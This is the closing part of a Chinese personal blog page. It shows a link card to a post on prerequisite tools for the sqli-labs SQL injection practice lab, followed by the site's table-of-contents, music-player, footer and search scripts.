                    <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                        <span class="chip bg-color">SQL注入</span>
                    </a>
                    
                </div>
                
            </div>
        </div>
        
        
        <div class="article col s12 m6" data-aos="fade-up">
            <div class="article-badge right-badge text-color">
                下一篇&nbsp;<i class="fas fa-chevron-right"></i>
            </div>
            <div class="card">
                <a href="/2020/11/20/shua-sqli-labs-de-qian-zhi-zhi-shi/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/5.jpg" class="responsive-img" alt="刷sqli-labs的前置知识">
                        
                        <span class="card-title">刷sqli-labs的前置知识</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            需要使用到的网站以及工具firefox插件：

Hackbar：方便修改网址测试
HTTPHeader Live：查看请求头
ModHearder：修改请求头
Cookie-Editor：修改cookie

字符进制转换的网站:https:
                        
                    </div>
                    <div class="publish-info">
                            <span class="publish-date">
                                <i class="far fa-clock fa-fw icon-date"></i>2020-11-20
                            </span>
                        <span class="publish-author">
                            
                            <i class="fas fa-user fa-fw"></i>
                            灿若星河
                            
                        </span>
                    </div>
                </div>
                
                <div class="card-action article-tags">
                    
                    <a href="/tags/sqli-labs/">
                        <span class="chip bg-color">sqli-labs</span>
                    </a>
                    
                    <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                        <span class="chip bg-color">SQL注入</span>
                    </a>
                    
                </div>
                
            </div>
        </div>
        
    </div>
</article>

</div>



<!-- 代码块功能依赖 -->
<script type="text/javascript" src="/libs/codeBlock/codeBlockFuction.js"></script>

<!-- 代码语言 -->

<script type="text/javascript" src="/libs/codeBlock/codeLang.js"></script>


<!-- 代码块复制 -->

<script type="text/javascript" src="/libs/codeBlock/codeCopy.js"></script>


<!-- 代码块收缩 -->

<script type="text/javascript" src="/libs/codeBlock/codeShrink.js"></script>


<!-- 代码块折行 -->

<style type="text/css">
code[class*="language-"], pre[class*="language-"] { white-space: pre !important; }
</style>


    </div>
    <div id="toc-aside" class="expanded col l3 hide-on-med-and-down">
        <div class="toc-widget">
            <div class="toc-title"><i class="far fa-list-alt"></i>&nbsp;&nbsp;目录</div>
            <div id="toc-content"></div>
        </div>
    </div>
</div>

<!-- TOC 悬浮按钮. -->

<div id="floating-toc-btn" class="hide-on-med-and-down">
    <a class="btn-floating btn-large bg-color">
        <i class="fas fa-list-ul"></i>
    </a>
</div>


<script src="/libs/tocbot/tocbot.min.js"></script>
<script>
    $(function () {
        tocbot.init({
            tocSelector: '#toc-content',
            contentSelector: '#articleContent',
            headingsOffset: -($(window).height() * 0.4 - 45),
            collapseDepth: Number('0'),
            headingSelector: 'h2, h3, h4'
        });

        // modify the toc link href to support Chinese.
        let i = 0;
        let tocHeading = 'toc-heading-';
        $('#toc-content a').each(function () {
            $(this).attr('href', '#' + tocHeading + (++i));
        });

        // modify the heading title id to support Chinese.
        i = 0;
        $('#articleContent').children('h2, h3, h4').each(function () {
            $(this).attr('id', tocHeading + (++i));
        });

        // Set scroll toc fixed.
        let tocHeight = parseInt($(window).height() * 0.4 - 64);
        let $tocWidget = $('.toc-widget');
        $(window).scroll(function () {
            let scroll = $(window).scrollTop();
            /* add post toc fixed. */
            if (scroll > tocHeight) {
                $tocWidget.addClass('toc-fixed');
            } else {
                $tocWidget.removeClass('toc-fixed');
            }
        });

        
        /* 修复文章卡片 div 的宽度. */
        let fixPostCardWidth = function (srcId, targetId) {
            let srcDiv = $('#' + srcId);
            if (srcDiv.length === 0) {
                return;
            }

            let w = srcDiv.width();
            if (w >= 450) {
                w = w + 21;
            } else if (w >= 350 && w < 450) {
                w = w + 18;
            } else if (w >= 300 && w < 350) {
                w = w + 16;
            } else {
                w = w + 14;
            }
            $('#' + targetId).width(w);
        };

        // 切换TOC目录展开收缩的相关操作.
        const expandedClass = 'expanded';
        let $tocAside = $('#toc-aside');
        let $mainContent = $('#main-content');
        $('#floating-toc-btn .btn-floating').click(function () {
            if ($tocAside.hasClass(expandedClass)) {
                $tocAside.removeClass(expandedClass).hide();
                $mainContent.removeClass('l9');
            } else {
                $tocAside.addClass(expandedClass).show();
                $mainContent.addClass('l9');
            }
            fixPostCardWidth('artDetail', 'prenext-posts');
        });
        
    });
</script>

    

</main>




    <footer class="page-footer bg-color">
    
        <link rel="stylesheet" href="/libs/aplayer/APlayer.min.css">
<style>
    .aplayer .aplayer-lrc p {
        
        display: none;
        
        font-size: 12px;
        font-weight: 700;
        line-height: 16px !important;
    }

    .aplayer .aplayer-lrc p.aplayer-lrc-current {
        
        display: none;
        
        font-size: 15px;
        color: #42b983;
    }

    
    .aplayer.aplayer-fixed.aplayer-narrow .aplayer-body {
        left: -66px !important;
    }

    .aplayer.aplayer-fixed.aplayer-narrow .aplayer-body:hover {
        left: 0px !important;
    }

    
</style>
<div class="">
    
    <div class="row">
        <meting-js class="col l8 offset-l2 m10 offset-m1 s12"
                   server="netease"
                   type="playlist"
                   id="5128304262"
                   fixed='true'
                   autoplay='false'
                   theme='#42b983'
                   loop='all'
                   order='list'
                   preload='auto'
                   volume='0.7'
                   list-folded='true'
        >
        </meting-js>
    </div>
</div>

<script src="/libs/aplayer/APlayer.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/meting@2/dist/Meting.min.js"></script>

    
    <div class="container row center-align" style="margin-bottom: 0px !important;">
        <div class="col s12 m8 l8 copy-right">
            Copyright&nbsp;&copy;
            <span id="year">2019</span>
            <a href="/about" target="_blank">灿若星河</a>
            |&nbsp;Powered by&nbsp;<a href="https://hexo.io/" target="_blank">Hexo</a>
            |&nbsp;Theme&nbsp;<a href="https://github.com/blinkfox/hexo-theme-matery" target="_blank">Matery</a>
            <br>
            
            
            
            
            
            
            <span id="busuanzi_container_site_pv">
                |&nbsp;<i class="far fa-eye"></i>&nbsp;总访问量:&nbsp;<span id="busuanzi_value_site_pv"
                    class="white-color"></span>&nbsp;次
            </span>
            
            
            <span id="busuanzi_container_site_uv">
                |&nbsp;<i class="fas fa-users"></i>&nbsp;总访问人数:&nbsp;<span id="busuanzi_value_site_uv"
                    class="white-color"></span>&nbsp;人
            </span>
            
            <br>
            
            <br>
            
        </div>
        <div class="col s12 m4 l4 social-link social-statis">
    <a href="https://github.com/1766095699" class="tooltipped" target="_blank" data-tooltip="访问我的GitHub" data-position="top" data-delay="50">
        <i class="fab fa-github"></i>
    </a>



    <a href="mailto:1766095699@qq.com" class="tooltipped" target="_blank" data-tooltip="邮件联系我" data-position="top" data-delay="50">
        <i class="fas fa-envelope-open"></i>
    </a>







    <a href="tencent://AddContact/?fromId=50&fromSubId=1&subcmd=all&uin=1766095699" class="tooltipped" target="_blank" data-tooltip="QQ联系我: 1766095699" data-position="top" data-delay="50">
        <i class="fab fa-qq"></i>
    </a>







    <a href="/atom.xml" class="tooltipped" target="_blank" data-tooltip="RSS 订阅" data-position="top" data-delay="50">
        <i class="fas fa-rss"></i>
    </a>

</div>
    </div>
</footer>

<div class="progress-bar"></div>


    <!-- 搜索遮罩框 -->
<div id="searchModal" class="modal">
    <div class="modal-content">
        <div class="search-header">
            <span class="title"><i class="fas fa-search"></i>&nbsp;&nbsp;搜索</span>
            <input type="search" id="searchInput" name="s" placeholder="请输入搜索的关键字"
                   class="search-input">
        </div>
        <div id="searchResult"></div>
    </div>
</div>

<script src="/js/search.js"></script>
<script type="text/javascript">
$(function () {
    searchFunc("/search.xml", 'searchInput', 'searchResult');
});
</script>

    <!-- 回到顶部按钮 -->
<div id="backTop" class="top-scroll">
    <a class="btn-floating btn-large waves-effect waves-light" href="#!">
        <i class="fas fa-arrow-up"></i>
    </a>
</div>


    <script src="/libs/materialize/materialize.min.js"></script>
    <script src="/libs/masonry/masonry.pkgd.min.js"></script>
    <script src="/libs/aos/aos.js"></script>
    <script src="/libs/scrollprogress/scrollProgress.min.js"></script>
    <script src="/libs/lightGallery/js/lightgallery-all.min.js"></script>
    <script src="/js/matery.js"></script>

    <!-- Baidu Analytics -->

    <!-- Baidu Push -->

<script>
    (function () {
        var bp = document.createElement('script');
        var curProtocol = window.location.protocol.split(':')[0];
        if (curProtocol === 'https') {
            bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
        } else {
            bp.src = 'http://push.zhanzhang.baidu.com/push.js';
        }
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(bp, s);
    })();
</script>

    
    <script src="/libs/others/clicklove.js" async="async"></script>
    
    
    <script async src="/libs/others/busuanzi.pure.mini.js"></script>
    

    

    

    

    

    

    
    <script src="/libs/instantpage/instantpage.js" type="module"></script>
    

</body>

</html>
